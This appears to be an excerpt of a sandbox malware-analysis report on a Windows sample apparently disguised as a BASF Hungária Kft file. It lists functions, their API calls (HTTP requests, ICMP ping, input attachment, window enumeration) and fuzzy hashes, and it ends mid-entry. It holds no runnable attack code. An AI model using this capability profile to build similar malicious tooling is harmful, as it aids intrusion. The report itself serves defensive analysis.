                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$LongWindow_memset
                                                              • String ID:
                                                              • API String ID: 830647256-0
                                                              • Opcode ID: 8b68c55d201f911e9f8a356ae138ec8348120f904e38a7ca517da079877eccf8
                                                              • Instruction ID: 7e772f9d33427a72e139f5b7e46b207748b507c85c23f4b4323521d34f30067e
                                                              • Opcode Fuzzy Hash: 8b68c55d201f911e9f8a356ae138ec8348120f904e38a7ca517da079877eccf8
                                                              • Instruction Fuzzy Hash: 8E617971900208AFDB10DFA8CC85FEE77B8EF49710F10415AFA15AB2A1C779AD41CBA0
                                                              Function 00786B98 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00786BBF
                                                              • SafeArrayAllocData.OLEAUT32(?), ref: 00786C18
                                                              • VariantInit.OLEAUT32(?), ref: 00786C2A
                                                              • SafeArrayAccessData.OLEAUT32(?,?), ref: 00786C4A
                                                              • VariantCopy.OLEAUT32(?,?), ref: 00786C9D
                                                              • SafeArrayUnaccessData.OLEAUT32(?), ref: 00786CB1
                                                              • VariantClear.OLEAUT32(?), ref: 00786CC6
                                                              • SafeArrayDestroyData.OLEAUT32(?), ref: 00786CD3
                                                              • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00786CDC
                                                              • VariantClear.OLEAUT32(?), ref: 00786CEE
                                                              • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00786CF9
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                                                              • String ID:
                                                              • API String ID: 2706829360-0
                                                              • Opcode ID: f1c1513f87c2c74b828b5f2be3b9b2f1ceabea3b2fd850d892f610a38431e1d2
                                                              • Instruction ID: 5b42551bc8a3b4a6e28233058fe8b43c6a14feb864efb815920f65b325ed1bdc
                                                              • Opcode Fuzzy Hash: f1c1513f87c2c74b828b5f2be3b9b2f1ceabea3b2fd850d892f610a38431e1d2
                                                              • Instruction Fuzzy Hash: 1F416271A00219EFCF00EF68DC48DAEBBB9EF08754F008165E955A7261CB78A945CBA0
                                                              Function 007A5732 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • WSAStartup.WSOCK32(00000101,?), ref: 007A5793
                                                              • inet_addr.WSOCK32(?,?,?), ref: 007A57D8
                                                              • gethostbyname.WSOCK32(?), ref: 007A57E4
                                                              • IcmpCreateFile.IPHLPAPI ref: 007A57F2
                                                              • IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 007A5862
                                                              • IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 007A5878
                                                              • IcmpCloseHandle.IPHLPAPI(00000000), ref: 007A58ED
                                                              • WSACleanup.WSOCK32 ref: 007A58F3
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
                                                              • String ID: Ping
                                                              • API String ID: 1028309954-2246546115
                                                              • Opcode ID: bee755cef7d951844356b8ac1707f943c7a867e1837a9f19c84bed87b735e62e
                                                              • Instruction ID: a407d4cb35937c255a867e91467db4616ef430d8bab995aadd20a90062b48552
                                                              • Opcode Fuzzy Hash: bee755cef7d951844356b8ac1707f943c7a867e1837a9f19c84bed87b735e62e
                                                              • Instruction Fuzzy Hash: 1C516F71604700DFD710AF24DC89B6AB7E4EF89710F048A69F956DB2A1DB7CE900DB42
                                                              Function 0079B4C3 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetErrorMode.KERNEL32(00000001), ref: 0079B4D0
                                                              • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 0079B546
                                                              • GetLastError.KERNEL32 ref: 0079B550
                                                              • SetErrorMode.KERNEL32(00000000,READY), ref: 0079B5BD
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Error$Mode$DiskFreeLastSpace
                                                              • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                                              • API String ID: 4194297153-14809454
                                                              • Opcode ID: 31c58806dfeb82277960d23bcbf04289bd490b3c331fa46b6a9be22a8e5d1b76
                                                              • Instruction ID: 14c668107e9bfd919f3bfd8169844c356205ae874cf0356656350665d0f1ee49
                                                              • Opcode Fuzzy Hash: 31c58806dfeb82277960d23bcbf04289bd490b3c331fa46b6a9be22a8e5d1b76
                                                              • Instruction Fuzzy Hash: 8F31AF75A00209EFDB00EF68ED89EAE7BB4FF08300F118125F505EB292DB789A11CB41
                                                              Function 00788F8F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00737DE1: _memmove.LIBCMT ref: 00737E22
                                                                • Part of subcall function 0078AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0078AABC
                                                              • SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00789014
                                                              • GetDlgCtrlID.USER32 ref: 0078901F
                                                              • GetParent.USER32 ref: 0078903B
                                                              • SendMessageW.USER32(00000000,?,00000111,?), ref: 0078903E
                                                              • GetDlgCtrlID.USER32(?), ref: 00789047
                                                              • GetParent.USER32(?), ref: 00789063
                                                              • SendMessageW.USER32(00000000,?,?,00000111), ref: 00789066
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$CtrlParent$ClassName_memmove
                                                              • String ID: ComboBox$ListBox
                                                              • API String ID: 1536045017-1403004172
                                                              • Opcode ID: 0621db6112d6141e0e8aa4f8fc76a70b5039aefeb6c90d5aa214d7ee910761b7
                                                              • Instruction ID: a5060352fb290c6238ed39e01cd6dd6933f4c89a209b38246ffcaef7747eab5c
                                                              • Opcode Fuzzy Hash: 0621db6112d6141e0e8aa4f8fc76a70b5039aefeb6c90d5aa214d7ee910761b7
                                                              • Instruction Fuzzy Hash: ED21D370A40108FBDF08ABA0CC89EFEBB74EF59310F104216F921972A2DB7D9815DB21
                                                              Function 0078907A Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00737DE1: _memmove.LIBCMT ref: 00737E22
                                                                • Part of subcall function 0078AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0078AABC
                                                              • SendMessageW.USER32(?,00000186,00000002,00000000), ref: 007890FD
                                                              • GetDlgCtrlID.USER32 ref: 00789108
                                                              • GetParent.USER32 ref: 00789124
                                                              • SendMessageW.USER32(00000000,?,00000111,?), ref: 00789127
                                                              • GetDlgCtrlID.USER32(?), ref: 00789130
                                                              • GetParent.USER32(?), ref: 0078914C
                                                              • SendMessageW.USER32(00000000,?,?,00000111), ref: 0078914F
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$CtrlParent$ClassName_memmove
                                                              • String ID: ComboBox$ListBox
                                                              • API String ID: 1536045017-1403004172
                                                              • Opcode ID: 6ad92bbe0e64690b189cd94e9062a94349087050cbfbd154e7f4ff172b2789fb
                                                              • Instruction ID: b1e01a045efca8287e2783349a839619843cc94b14cf93751f655c33048020ba
                                                              • Opcode Fuzzy Hash: 6ad92bbe0e64690b189cd94e9062a94349087050cbfbd154e7f4ff172b2789fb
                                                              • Instruction Fuzzy Hash: 54219074A40109FBEF15ABA4CC89FFEBB64EB58300F144116FA11972A2DB7D5815DB21
                                                              Function 00789163 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetParent.USER32 ref: 0078916F
                                                              • GetClassNameW.USER32(00000000,?,00000100), ref: 00789184
                                                              • _wcscmp.LIBCMT ref: 00789196
                                                              • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00789211
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ClassMessageNameParentSend_wcscmp
                                                              • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                              • API String ID: 1704125052-3381328864
                                                              • Opcode ID: e518cc7b64868093e95ceb38814591311171f157c5eb35faaa9473977eb2d8a5
                                                              • Instruction ID: e8facd49b2bf4814f8fc78ce20e1d0b2d66a29426dd20ae6c17c4e7eed6f1780
                                                              • Opcode Fuzzy Hash: e518cc7b64868093e95ceb38814591311171f157c5eb35faaa9473977eb2d8a5
                                                              • Instruction Fuzzy Hash: D911E77668C307F9FA153624EC0FDB7379CAF15721B200026FE00A40D2FEAD68525A54
                                                              Function 00797990 Relevance: 15.3, APIs: 10, Instructions: 292COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 00797A6C
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ArraySafeVartype
                                                              • String ID:
                                                              • API String ID: 1725837607-0
                                                              • Opcode ID: 59c7db65604c62c25675a0c7a5b1703e6734c3a5e65b151c130e247097cb1a53
                                                              • Instruction ID: fec4dffaa46c971644e3844a4c97cfb411b07ead8eaa3299ec33baf6beaf31b5
                                                              • Opcode Fuzzy Hash: 59c7db65604c62c25675a0c7a5b1703e6734c3a5e65b151c130e247097cb1a53
                                                              • Instruction Fuzzy Hash: E1B16E7191421ADFDF04DFA4E885BBEB7B8EF09321F244429EA41E7251D778A941CBA0
                                                              Function 007911CE Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetCurrentThreadId.KERNEL32 ref: 007911F0
                                                              • GetForegroundWindow.USER32(00000000,?,?,?,?,?,00790268,?,00000001), ref: 00791204
                                                              • GetWindowThreadProcessId.USER32(00000000), ref: 0079120B
                                                              • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00790268,?,00000001), ref: 0079121A
                                                              • GetWindowThreadProcessId.USER32(?,00000000), ref: 0079122C
                                                              • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00790268,?,00000001), ref: 00791245
                                                              • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00790268,?,00000001), ref: 00791257
                                                              • AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00790268,?,00000001), ref: 0079129C
                                                              • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00790268,?,00000001), ref: 007912B1
                                                              • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00790268,?,00000001), ref: 007912BC
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                              • String ID:
                                                              • API String ID: 2156557900-0
                                                              • Opcode ID: 180a51ce0b7720833d35dfc27673cc80bdafa7ebfceea67d84e8efcedb43f483
                                                              • Instruction ID: 294895dd391adbfcc6e57ed93128272846ae7fa3f6dbb12f43b7e01ccf5ca62c
                                                              • Opcode Fuzzy Hash: 180a51ce0b7720833d35dfc27673cc80bdafa7ebfceea67d84e8efcedb43f483
                                                              • Instruction Fuzzy Hash: BC317875640205BBEF10AF54FD88FA937A9BB59715F508225F900CA1A0D77C9940CB68
                                                              Function 0073FA5D Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 0073FAA6
                                                              • OleUninitialize.OLE32(?,00000000), ref: 0073FB45
                                                              • UnregisterHotKey.USER32(?), ref: 0073FC9C
                                                              • DestroyWindow.USER32(?), ref: 007745D6
                                                              • FreeLibrary.KERNEL32(?), ref: 0077463B
                                                              • VirtualFree.KERNEL32(?,00000000,00008000), ref: 00774668
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
                                                              • String ID: close all
                                                              • API String ID: 469580280-3243417748
                                                              • Opcode ID: 81c83733b9aa477e11573f1805623aa8f29b0666c3078d6bff6f7a17571dfd19
                                                              • Instruction ID: 2491ae13413fc5089a97ced5f801b74c3e3cf8400c4c6c451deefbf9906feeca
                                                              • Opcode Fuzzy Hash: 81c83733b9aa477e11573f1805623aa8f29b0666c3078d6bff6f7a17571dfd19
                                                              • Instruction Fuzzy Hash: 30A17070701212CFDB19EF14C998F69F364BF05750F5082ADE80AAB262DB38AD16CF90
                                                              Function 007A9113 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 263COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Variant$ClearInit$_memset
                                                              • String ID: ,,|$Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                                              • API String ID: 2862541840-1977917988
                                                              • Opcode ID: 1906bb205992c213ca0c681aab7868e7d651f577a1b1cc8edcebeba3a061a831
                                                              • Instruction ID: f9217a55fd7d6b217b797a6c2c605fbc10593dcd53fe1173637b462ec8766a25
                                                              • Opcode Fuzzy Hash: 1906bb205992c213ca0c681aab7868e7d651f577a1b1cc8edcebeba3a061a831
                                                              • Instruction Fuzzy Hash: 01919271A00215EBDF24CF95C848FAEB7B8EF86710F108259F615AB280D7789915CBA0
                                                              Function 0078A068 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • EnumChildWindows.USER32(?,0078A439), ref: 0078A377
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ChildEnumWindows
                                                              • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                                              • API String ID: 3555792229-1603158881
                                                              • Opcode ID: cbe0077235380aea78f83f6e1e689fe736ef1cbc2db7846e8e2c36e9a5b4a44b
                                                              • Instruction ID: 2b69d71e29cd679f05cf290d4e9cabc35bf85858a820e203cdbd94351eac7706
                                                              • Opcode Fuzzy Hash: cbe0077235380aea78f83f6e1e689fe736ef1cbc2db7846e8e2c36e9a5b4a44b
                                                              • Instruction Fuzzy Hash: E391E531A40606FBEB18EFA0C44ABEDFB74BF04310F54811AE849A7152DF386999CBD1
                                                              Function 00732E26 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetWindowLongW.USER32(?,000000EB), ref: 00732EAE
                                                                • Part of subcall function 00731DB3: GetClientRect.USER32(?,?), ref: 00731DDC
                                                                • Part of subcall function 00731DB3: GetWindowRect.USER32(?,?), ref: 00731E1D
                                                                • Part of subcall function 00731DB3: ScreenToClient.USER32(?,?), ref: 00731E45
                                                              • GetDC.USER32 ref: 0076CD32
                                                              • SendMessageW.USER32(?,00000031,00000000,00000000), ref: 0076CD45
                                                              • SelectObject.GDI32(00000000,00000000), ref: 0076CD53
                                                              • SelectObject.GDI32(00000000,00000000), ref: 0076CD68
                                                              • ReleaseDC.USER32(?,00000000), ref: 0076CD70
                                                              • MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 0076CDFB
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
                                                              • String ID: U
                                                              • API String ID: 4009187628-3372436214
                                                              • Opcode ID: addcbc547fa9692d308ef20f58564db696af9cf2ccb41b4070a5d5c4ff142808
                                                              • Instruction ID: c58ef859f0fa8becf47be07e325f6c920a7a5154f3095a85a78d7d7c3ef345d7
                                                              • Opcode Fuzzy Hash: addcbc547fa9692d308ef20f58564db696af9cf2ccb41b4070a5d5c4ff142808
                                                              • Instruction Fuzzy Hash: 3771D431500205DFDF229F64CC89AFA7BB5FF48354F14427AED965A2A6C7398C41DB60
                                                              Function 007A1A15 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 007A1A50
                                                              • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 007A1A7C
                                                              • InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 007A1ABE
                                                              • InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 007A1AD3
                                                              • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 007A1AE0
                                                              • HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 007A1B10
                                                              • InternetCloseHandle.WININET(00000000), ref: 007A1B57
                                                                • Part of subcall function 007A2483: GetLastError.KERNEL32(?,?,007A1817,00000000,00000000,00000001), ref: 007A2498
                                                                • Part of subcall function 007A2483: SetEvent.KERNEL32(?,?,007A1817,00000000,00000000,00000001), ref: 007A24AD
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
                                                              • String ID:
                                                              • API String ID: 2603140658-3916222277
                                                              • Opcode ID: 88befdbadb86d89a174f6151fa9796a7284a305e3d0ae944c3063f9cee1ee8c6
                                                              • Instruction ID: f9332ca85acb249e35b83974ccbf4ef92a7f2e868a0d5f4b036c73f646c163ac
                                                              • Opcode Fuzzy Hash: 88befdbadb86d89a174f6151fa9796a7284a305e3d0ae944c3063f9cee1ee8c6
                                                              • Instruction Fuzzy Hash: 9741A1B1501218BFFB118F60CC89FFB7BACEF49750F408266F9059A141EB789E448BA4
                                                              Function 007A8C46 Relevance: 13.9, APIs: 9, Instructions: 438COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetModuleFileNameW.KERNEL32(?,?,00000104,?,007BF910), ref: 007A8D28
                                                              • FreeLibrary.KERNEL32(00000000,00000001,00000000,?,007BF910), ref: 007A8D5C
                                                              • QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 007A8ED6
                                                              • SysFreeString.OLEAUT32(?), ref: 007A8F00
                                                              Memory Dump Source
